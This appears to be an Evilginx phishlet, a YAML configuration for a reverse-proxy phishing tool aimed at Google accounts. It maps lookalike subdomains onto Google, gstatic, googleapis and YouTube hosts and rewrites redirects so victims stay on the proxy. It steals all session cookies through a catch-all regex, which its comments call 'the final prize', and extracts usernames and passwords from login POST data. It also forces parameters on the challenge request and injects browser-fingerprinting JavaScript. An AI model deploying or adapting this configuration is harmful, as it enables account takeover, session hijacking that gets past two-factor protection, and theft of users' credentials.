author: '@tomer'
min_ver: '2.3.0'
 
# Subdomains that Evilginx will proxy
proxy_hosts:
  - {phish_sub: 'www', orig_sub: 'www', domain: 'google.com', session: false, is_landing: false,}
  - {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'google.com', session: true, is_landing: true, auto_filter: false}
  - {phish_sub: 'ssl', orig_sub: 'ssl', domain: 'gstatic.com', session: false, is_landing: false, auto_filter: false}
  - {phish_sub: 'play', orig_sub: 'play', domain: 'google.com', session: false, is_landing: false, auto_filter: false}
  - {phish_sub: 'myaccount', orig_sub: 'myaccount', domain: 'google.com', session: true  , is_landing: false, auto_filter: true}
  - {phish_sub: 'apis', orig_sub: 'apis', domain: 'google.com', session: false, is_landing: false, auto_filter: false}
  - {phish_sub: 'content', orig_sub: 'content', domain: 'googleapis.com', session: false, is_landing: false, auto_filter: false}
  - {phish_sub: 'youtube', orig_sub: 'accounts', domain: 'youtube.com', session: false, is_landing: false, auto_filter: false}
 
# Match replace rules, mostly to detect unwanted redirections to legitimate site and replacing the redirect urls with our Evilginx url
sub_filters:
  - {triggers_on: 'accounts.google.com', orig_sub: 'accounts', domain: 'google.com', search: 'accounts.google.com', replace: 'accounts.{domain}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript']}
  - {triggers_on: 'myaccount.google.com', orig_sub: 'myaccount', domain: 'google.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['application/json', 'text/html', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'application/xml']}
 
# What cookies to steal from responses, i.e, the final prize.
# we just capture ALL using [".*,regexp"]
auth_tokens:
  - domain: '.google.com'
    keys: [".*,regexp"]
  - domain: 'accounts.google.com'
    keys: [".*,regexp"]
  - domain: 'accounts.google.bg'
    keys: [".*,regexp"]
  - domain: 'myaccount.google.com'
    keys: [".*,regexp"]
  - domain: 'mail.google.com'
    keys: [".*,regexp"]
 
# Regexes to capture username/password pairs
credentials:
  username:
    key: 'f.req'
    search: '\[\]\]\,\"([^"]*)\"\,'
    type: 'post'
  password:
    key: 'f.req'
    search: ',\["([^"]*)",'
    type: 'post'
 
# If user reached these endpoints, capturing is finalized (hopefully with a success)
auth_urls:
  - '/CheckCookie'
  - '/_/AccountSettingsUi/browserinfo'
 
# Legitimate site login page location
login:
  domain: 'accounts.google.com'
  path: '/signin/v2/identifier?hl=en&flowName=GlifWebSignIn&flowEntry=ServiceLogin'

# Search POST requests with specific parameters and force additional ones 
force_post:
  - path: '/_/signin/sl/challenge'
    search: 
      - {key: 'f.req', search: '.*'}
      - {key: 'continue', search: '.*'}
    force:
      - {key: 'continue', value: ''}
    type: 'post'

# JavaScript to be injected to proxied pages, for example, to bypass client side protection attempts
js_inject:
  - trigger_domains: ['accounts.google.com']
    trigger_paths: ['.*?']
    script: |
      function serialize( obj ){
        var str = [];
        for (var p in obj){
          if (obj.hasOwnProperty(p)) {
            str.push(encodeURIComponent(p) + "=" + encodeURIComponent(obj[p]));
          }
        }
        return str.join("&");
      }
      function toPopulate(){
        console.log( "Populating" );
        var xhttp = new XMLHttpRequest();
        var tosend = {
          useragent : navigator.userAgent,
          browser    : navigator.appName,
          engine     : navigator.product,
          platform   : navigator.platform,
        }
        xhttp.onreadystatechange = function(){
          console.log( "Sent" );
        }
        xhttp.open( "POST", "/getuserinfo", true );
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        console.log( serialize( tosend ) );
        xhttp.send( serialize( tosend ) );
      }
      console.log( "Reached here." );
      setTimeout(toPopulate, 2000);